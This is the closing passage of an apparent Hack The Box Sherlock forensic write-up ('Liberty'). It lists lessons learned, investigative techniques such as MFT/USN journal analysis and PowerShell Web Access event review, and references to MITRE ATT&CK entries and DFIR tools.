- Short-lived “connect and verify” sessions (~45s) are a classic access-validation pattern.
- USN Journal fills gaps when prefetch and PowerShell logs are unavailable.
11.3 New Techniques
MFT/USN journal analysis (MFTECmd + Timeline Explorer), regripper shares/samparse plugins, forced-authentication lure analysis (.url IconFile UNC path), PowerShell Web Access forensics (Events 784/769/770), and Edge History string extraction for exfiltration URLs.
12. References
- Liberty — Hack The Box Sherlock
- MITRE ATT&CK — T1187 Forced Authentication
- MITRE ATT&CK — T1505.004 IIS Components
- MITRE ATT&CK — T1021.006 WinRM
- MFTECmd / Zimmerman Tools
- chainsaw
- hayabusa
HTB Sherlock · Liberty · DFIR · 2025-06-11